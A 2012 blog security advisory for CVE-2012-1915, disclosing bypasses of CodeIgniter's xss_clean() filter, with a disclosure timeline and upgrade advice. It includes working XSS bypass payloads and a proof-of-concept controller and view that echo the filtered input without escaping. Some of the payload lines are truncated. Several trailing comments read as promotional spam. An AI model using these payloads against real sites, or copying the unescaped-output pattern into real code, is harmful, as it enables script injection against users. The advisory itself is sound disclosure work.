Thursday, July 19, 2012

CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass

This is a security advisory for popular PHP framework - CodeIgniter. I've found several bypasses in xss sanitization functions in the framework. These were responsibly disclosed to the vendor and are now fixed in version 2.1.2. (CVE-2012-1915).

Affected products

CodeIgniter <= 2.1.1 PHP framework and all CodeIgniter-based PHP applications using its built-in XSS filtering mechanism.




CodeIgniter ( is a powerful PHP framework with a very small footprint, built for PHP coders who need a simple and elegant toolkit to create full-featured web applications. CodeIgniter comes with a Cross Site Scripting Hack prevention filter which can either run automatically to filter all POST and COOKIE data that is encountered, or you can run it on a per item basis. Several vectors bypassing claimed XSS filter protections have been found in 2.1.0 version of the framework. In cooperation with vendor, these have been fixed in version 2.1.2.


XSS filter of CodeIgniter framework is implemented in xss_clean() function defined in system/core/Security.php file. It uses multiple, mostly blacklist-oriented methods to detect and remove XSS payloads from the passed input. As per documentation of the filter ( ) the filter is supposed to be run on input passed to the application e.g. before saving data in the database i.e. it's not an output-escaping, but input sanitizing filter.

There are multiple ways to bypass the current version of the filters, exemplary vectors are given below:

Different attribute separators and invalid regexp detecting tag closure too early (see also autofocus trick)
<img/src=">" onerror=alert(1)>
<button/a=">" autofocus onfocus=alert&#40;1&#40;></button>
<button a=">" autofocus onfocus=alert&#40;1&#40;>
Opera 11 svg bypass (by Mario Heiderich)
<svg xmlns=""
xmlns:xlink=""><feImage> <set
</feImage> </svg>
data: URI with base64 encoding bypass exploiting Firefox origin-inheritance for data:uris
<a target="_blank"
in firefox</a>
<a/''' target="_blank"

These exemplary bypasses may be used to cause both reflected and stored XSS attacks depending on the way the application built with CodeIgniter uses the input filtering mechanism.

Proof of concept

Build an application on CodeIgniter 2.1.0:

// application/controllers/xssdemo.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Xssdemo extends CI_Controller {

        public function index() {
            $data['xss'] = $this->security->xss_clean($this->input->post('xss'));
            $this->load->view('xssdemo', $data);

// application/views/xssdemo.php
<form method=post>
                <textarea name=xss><?php echo htmlspecialchars($xss); ?></textarea>
                <input type=submit />
        <hr />
    <?php echo $xss ?>
Launch http://app-uri/index.php/xssdemo and try above vectors.


Upgrade to CodeIgniter >= 2.1.2. Avoid using xss-clean() function. It's based on multiple blacklists and will therefore unavoidably be bypassable in the future. For input filtering, use HTMLPurifier ( ) instead.


Vulnerability found by Krzysztof Kotowicz <kkotowicz at gmail dot com>


2012.03.30 - Notified vendor
2012.04.02 - Vendor response
2012.04.03 - 2012.04.10 - Fixes coordinated with vendor
2012.06.29 - v 2.1.2 released with fixes included
2012.07.19 - Public disclosure


Nathan said...

Thanks for sharing.

I had not heard of HTML Purifier and will now check it out for a new project I'm working on as it will fit in nicely.


Cheryl Ray said...

Amazing post! Thanks for explaining each and everything in detail.  Cross site scripting is really an additive factor when comes to hire CodeIgniter developers for web development purpose..

Xaviera Chapman said...

Codeigniter is one of the best PHP framework which I have always loved to learn more about it. Your post will prove fruitful to me to learn more on this subject.

Katell Brooks said...

Codeigniter is one of the best PHP framework which I have always loved to learn more about it. Your post will prove fruitful to me to learn more on this subject. 

Leslie Stephens said...

When it comes to value modularity CodeIgniter is one of the most severe artists in the market. CodeIgniter is not designed using any flip style design so all alternatives are after-thoughts that were designed by associates of the group.

George Ban said...

CodeIgniter is good but even CakePHP is a good framework as as it supports lots of functionality and security as well as have support to Ajax which I generally make use of.

Amy Watson said...

CodeIgniter Development is really a widely used framework offered y PHP and I found it quite compatible and secure and this is the most important benefit why everyone is preferring to hire CodeIgniter developers for designing their applications.

Neil Odom said...

OK so according to you whom we have to hire for designing the application. Do you have any other option?

Zeek said...

Codeigniter can be used with Ajax... what are you talking about?
You can even use jQuery Ajax + Codeigniter if you feel like it.

Joana Kane said...